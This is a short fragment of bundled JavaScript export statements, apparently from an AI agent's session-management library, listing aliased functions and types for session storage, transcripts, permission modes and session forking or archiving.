export { rewindSession as B, setActiveEntry as E, FILE_MODIFICATION_TOOLS as F, unarchiveSession as G, watchSessions as H, MemorySessionStorage as M, PERMISSION_MODES as P, FileSessionStorage as c, appendClientNotice as l, archiveSession as m, compactSession as n, computeConfirmTools as o, createMemorySessionStorage as p, createSessionManager as q, deleteSession as r, forkSession as s, isPermissionMode as t, listRunningSessions as u, listSessions as v, loadFullTranscript as w, loadSession as x, normalizePermissionMode as y, permissionModeDisplayName as z };
|
|
601
|
-
export type { AppendClientNoticeOptions as A, CompactSessionOptions as C, DeleteSessionResult as D, ListSessionsOptions as L, RunningSessionInfo as R, SessionData as S, WatchSessionsCallback as W, CompactSessionResult as a, ConfirmResult as b, FullTranscriptSessionData as d, PermissionContext as e, PermissionMode as f, SessionManager as g, SessionStorage as h, SessionSummary as i, SessionTranscriptEntry as j, SessionTranscriptEntryType as k };
|